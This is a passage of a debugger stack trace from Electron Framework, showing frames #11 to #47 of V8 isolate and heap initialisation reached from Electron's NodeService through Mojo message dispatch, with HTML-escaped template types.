    frame #11: 0x000000010f791418 Electron Framework`v8::internal::Heap::SetUp(this=0x0000013c002cded0, main_thread_local_heap=&amp;lt;unavailable&amp;gt;) at heap.cc:5530:19 [opt]
    frame #12: 0x000000010f6f5218 Electron Framework`v8::internal::Isolate::Init(this=0x0000013c002c0000, startup_snapshot_data=0x000000016b050960, read_only_snapshot_data=0x000000016b050948, shared_heap_snapshot_data=0x000000016b050930, can_rehash=true) at isolate.cc:4719:9 [opt]
    frame #13: 0x000000010f6f5d80 Electron Framework`v8::internal::Isolate::InitWithSnapshot(this=&amp;lt;unavailable&amp;gt;, startup_snapshot_data=&amp;lt;unavailable&amp;gt;, read_only_snapshot_data=&amp;lt;unavailable&amp;gt;, shared_heap_snapshot_data=&amp;lt;unavailable&amp;gt;, can_rehash=&amp;lt;unavailable&amp;gt;) at isolate.cc:4376:10 [opt]
    frame #14: 0x000000010fb92e5c Electron Framework`v8::internal::Snapshot::Initialize(isolate=0x0000013c002c0000) at snapshot.cc:198:19 [opt]
    frame #15: 0x000000010f5ea6ac Electron Framework`v8::Isolate::Initialize(v8_isolate=0x0000013c002c0000, params=0x0000013c00042f40) at api.cc:9725:8 [opt]
    frame #16: 0x0000000112aff208 Electron Framework`gin::IsolateHolder::IsolateHolder(this=0x0000013c00161688, task_runner=scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt; @ x20, access_mode=&amp;lt;unavailable&amp;gt;, isolate_type=&amp;lt;unavailable&amp;gt;, params=v8::Isolate::CreateParams @ 0x0000013c00042f40, isolate_creation_mode=kNormal, low_priority_task_runner=scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt; @ scalar, isolate=&amp;lt;unavailable&amp;gt;) at isolate_holder.cc:122:5 [opt]
    frame #17: 0x000000010e4cd8e8 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [inlined] electron::(anonymous namespace)::CreateIsolateHolder(isolate=0x0000013c002c0000) at javascript_environment.cc:97:10 [opt]
    frame #18: 0x000000010e4cd884 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(this=0x0000013c00161680, event_loop=&amp;lt;unavailable&amp;gt;, setup_wasm_streaming=&amp;lt;unavailable&amp;gt;) at javascript_environment.cc:108:23 [opt]
    frame #19: 0x000000010e581fac Electron Framework`electron::NodeService::Initialize(mojo::StructPtr&amp;lt;node::mojom::NodeServiceParams&amp;gt;) [inlined] std::__Cr::__unique_if&amp;lt;electron::JavascriptEnvironment&amp;gt;::__unique_single std::__Cr::make_unique&amp;lt;electron::JavascriptEnvironment, uv_loop_s*&amp;gt;(__args=&amp;lt;unavailable&amp;gt;) at unique_ptr.h:621:30 [opt]
    frame #20: 0x000000010e581f98 Electron Framework`electron::NodeService::Initialize(this=0x0000013c00170d20, params=node::mojom::NodeServiceParamsPtr @ 0x000000016b050c70) at node_service.cc:81:13 [opt]
    frame #21: 0x000000011147d9bc Electron Framework`node::mojom::NodeServiceStubDispatch::Accept(impl=0x0000013c00170d20, message=0x000000016b051150) at node_service.mojom.cc:278:13 [opt]
    frame #22: 0x00000001119d1108 Electron Framework`mojo::InterfaceEndpointClient::HandleValidatedMessage(this=&amp;lt;unavailable&amp;gt;, message=&amp;lt;unavailable&amp;gt;) at interface_endpoint_client.cc:1021:54 [opt]
    frame #23: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00082de8, message=0x000000016b051150) at message_dispatcher.cc:43:19 [opt]
    frame #24: 0x00000001119d2d40 Electron Framework`mojo::InterfaceEndpointClient::HandleIncomingMessage(this=0x0000013c00082d00, message=0x000000016b051150) at interface_endpoint_client.cc:706:20 [opt]
    frame #25: 0x00000001119de6cc Electron Framework`mojo::internal::MultiplexRouter::Accept(mojo::Message*) at multiplex_router.cc:1096:42 [opt]
    frame #26: 0x00000001119de6b4 Electron Framework`mojo::internal::MultiplexRouter::Accept(this=0x0000013c00092800, message=&amp;lt;unavailable&amp;gt;) at multiplex_router.cc:710:7 [opt]
    frame #27: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00092830, message=0x000000016b051300) at message_dispatcher.cc:43:19 [opt]
    frame #28: 0x00000001119ce6a8 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::DispatchMessage(this=0x0000013c00092860, handle=mojo::ScopedMessageHandle @ 0x000000016b0512c0) at connector.cc:554:49 [opt]
    frame #29: 0x00000001119ce5bc Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) at connector.cc:611:14 [opt]
    frame #30: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnHandleReadyInternal(this=0x0000013c00092860, result=&amp;lt;unavailable&amp;gt;) at connector.cc:444:3 [opt]
    frame #31: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnWatcherHandleReady(this=0x0000013c00092860, interface_name=&quot;&quot;, result=&amp;lt;unavailable&amp;gt;) at connector.cc:410:3 [opt]
    frame #32: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::DecayedFunctorTraits&amp;lt;void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;::Invoke&amp;lt;void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const*, unsigned int&amp;gt;(method=&amp;lt;unavailable&amp;gt;, receiver_ptr=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:738:12 [opt]
    frame #33: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::InvokeHelper&amp;lt;false, base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, void, 0ul, 1ul&amp;gt;::MakeItSo&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), std::__Cr::tuple&amp;lt;base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt; const&amp;amp;, unsigned int&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:930:12 [opt]
    frame #34: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::RunImpl&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), std::__Cr::tuple&amp;lt;base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt; const&amp;amp;, 0ul, 1ul&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, (null)=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:1067:14 [opt]
    frame #35: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:987:12 [opt]
    frame #36: 0x000000010e404a4c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;::Run(this=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) const &amp;amp; at callback.h:344:12 [opt]
    frame #37: 0x000000010e404a18 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] mojo::SimpleWatcher::DiscardReadyState(callback=&amp;lt;unavailable&amp;gt;, result=&amp;lt;unavailable&amp;gt;, state=&amp;lt;unavailable&amp;gt;) at simple_watcher.h:192:14 [opt]
    frame #38: 0x000000010e404a18 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] void base::internal::DecayedFunctorTraits&amp;lt;void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;::Invoke&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;&amp;gt;(function=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:671:12 [opt]
    frame #39: 0x000000010e404a04 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] void base::internal::InvokeHelper&amp;lt;false, base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, void, 0ul&amp;gt;::MakeItSo&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:930:12 [opt]
    frame #40: 0x000000010e404a04 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] void base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::RunImpl&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt; const&amp;amp;, 0ul&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, (null)=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:1067:14 [opt]
    frame #41: 0x000000010e404a04 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:987:12 [opt]
    frame #42: 0x00000001119f2388 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] base::RepeatingCallback&amp;lt;void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(this=0x000000016b051468, args=0, args=&amp;lt;unavailable&amp;gt;) const &amp;amp; at callback.h:344:12 [opt]
    frame #43: 0x00000001119f237c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) at simple_watcher.cc:278:14 [opt]
    frame #44: 0x00000001119f237c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::DecayedFunctorTraits&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;::Invoke&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt; const&amp;amp;, int, unsigned int, mojo::HandleSignalsState&amp;gt;(method=(Electron Framework`mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&amp;amp;) at simple_watcher.cc:247), receiver_ptr=&amp;lt;unavailable&amp;gt;, args=0x0000013c00160280, args=0x0000013c00160284, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:738:12 [opt]
    frame #45: 0x00000001119f237c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::InvokeHelper&amp;lt;true, base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, void, 0ul, 1ul, 2ul, 3ul&amp;gt;::MakeItSo&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;&amp;gt;(functor=0x0000013c00160260, bound=&amp;lt;unavailable&amp;gt;) at bind_internal.h:954:5 [opt]
    frame #46: 0x00000001119f2298 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunImpl&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, 0ul, 1ul, 2ul, 3ul&amp;gt;(functor=0x0000013c00160260, bound=&amp;lt;unavailable&amp;gt;, (null)=&amp;lt;unavailable&amp;gt;) at bind_internal.h:1067:14 [opt]
    frame #47: 0x00000001119f2298 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base=0x0000013c00160240) at bind_internal.h:980:12 [opt]
